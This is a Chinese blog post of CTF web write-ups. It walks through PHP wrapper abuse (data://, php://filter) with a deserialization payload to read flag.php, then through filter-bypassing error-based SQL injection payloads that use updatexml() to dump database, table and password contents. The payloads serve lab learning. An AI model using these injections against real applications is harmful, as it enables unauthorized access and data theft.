Web实操(6),基础知识学习(24~)

1.[ZJCTF 2019]NiZhuanSiWei1

(1)进入环境后看到一篇php代码,开始我简单的以为是一题常规的php伪协议,多次试错后发现它并没有那么简单,它包含了基础的文件包含,伪协议还有反序列化

(2)分析代码发现它传入了三个不同的参数,并且判断最后程序进入else时应该是可以出flag的

按照它代码所写

首先要输入的r要满足r=welcome to the zjctf

后面它又说file不能含有flag但是下面有注释的文件名,可能是在提醒,尝试去读取那个文件构造,首先我们要进入到那环境里面, 首先file_get_contents是得读取到"文件"里的内容,而这里需要注意$text是一个变量,C不能读取一个变量

注:file_get_contents函数是 PHP 中一个功能丰富、易于使用的函数,可以用于文件操作和发起 HTTP 请求。通过深入理解该函数的使用方法,我们可以更高效地处理文件读取和远程资源获取任务。同时,使用上下文选项和其他相关函数,可以使 file_get_contents() 更加灵活和强大。有下面这些用法

1. 文件操作
1.1 读取本地文件
1.2 使用上下文选项
2. HTTP 请求
2.1 发起简单的 HTTP GET 请求
2.2 处理响应头信息
2.3 处理 HTTP 错误
具体请看file_get_contents() 函数详解与使用-CSDN博客

这里需要尝试使用data伪协议去给他赋值,在一个文件里面。payload:/?text=data://text/plain,welcome to the zjctf然后才能成功进入

(3)到这里就需要尝试去读取useless.php文件内容了

还需要使用filter伪协议构造payload:&file=php://filter/read=convert.base64-encode/resource=useless.php

注:data协议规则:
data://text/plain;编码格式,读取内容

(注意一个是分号;命令拼接,和一个逗号,用来读取文本内容)

(4)也是成功获取到文件里的内容,然后用工具解一下码可以得到一篇新的php代码

(5)里面写了file_get_contents直接去读flag.php,构造反序列化,poc:

复制代码
<?php
class Flag
{  //flag.php
    public $file = 'flag.php';
}
$a = new Flag();
echo urlencode(serialize($a));

还需要注意不需要去访问useless.php文件的内容了,我们构造的反序列化会把之前的覆盖掉,最终我们要的是useless.php来访问我们的flag

(6)再次进行序列化

复制代码
<?php  

class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
} 
$flag=new Flag();
echo serialize($flag);
?> 

可以得到

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

然后构造pyload : ?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

然后F12查看源码即可得到flag

2.[极客大挑战 2019]HardSQL1

(1)进入题目环境

(2)不知道它是啥注入类型,就一个个试

username:admin

password:1
这里把参数password作为注入点

1

1'

万能密码 1' or 1=1#

到这里使用万能密码注入被链接,应该是某些字符或者关键字被过滤

(3)然后用BP抓包用sql字典爆破,可以看到很多字符=、--+、/**/和一些注入命令union、by、'1'='1等都被过滤掉了

(4)接着测试admin

1' or

还是出错,说明这里应该就是空格有问题了

(5)然后用括号代替了空格再试试

admin

1'(or)

到这证明判断没错,但是这里又需要注意,前面爆出它过滤了=,

看了其他博主的wp才知道在这里like没有被过滤,使用like可以绕过=号,like <=> =

(6)然后重新构造万能密码
1'or((1)like(1))#

可以看到这里也是成功绕过空格,登陆成功

到这里还需要注意一个有关报错注入的知识点:

SQL报错注入常用函数

两个基于XPAT(XML)的报错注入函数

函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数

函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数

注入原理:

(在使用语句时,如果XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误!)

(局限性查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串)

其它

函数floor() mysql中用来取整的函数

函数exp() 此函数返回e(自然对数的底)指数X的幂值的函数

(7)这里我使用updatexml()函数来进行爆库

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

(8)得到库名geek

然后查表
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

(9)到这里再得到数据表名 H4rDsq1

然后再来爆字段

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

(10)接着爆爆字段内容**1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#**

也是成功拿到一半flag

(11)后面一半开始怎么也弄不出来,其实就是练得太少,后面看了其他大佬wp才知道这里 要使用right()突破字符限制
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#

成功拿到后半段flag要注意这里中间部分是重复的,拼接时需要注意不要拼重复

最后拼接得到完整 flag{ca5de2ab-4550-4fc2-87f7-7fbb95f1e4d2}

相关推荐
西岸行者4 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
悠哉悠哉愿意4 天前
【单片机学习笔记】串口、超声波、NE555的同时使用
笔记·单片机·学习
别催小唐敲代码4 天前
嵌入式学习路线
学习
毛小茛4 天前
计算机系统概论——校验码
学习
babe小鑫4 天前
大专经济信息管理专业学习数据分析的必要性
学习·数据挖掘·数据分析
winfreedoms5 天前
ROS2知识大白话
笔记·学习·ros2
在这habit之下5 天前
Linux Virtual Server(LVS)学习总结
linux·学习·lvs
我想我不够好。5 天前
2026.2.25监控学习
学习
im_AMBER5 天前
Leetcode 127 删除有序数组中的重复项 | 删除有序数组中的重复项 II
数据结构·学习·算法·leetcode
CodeJourney_J5 天前
从“Hello World“ 开始 C++
c语言·c++·学习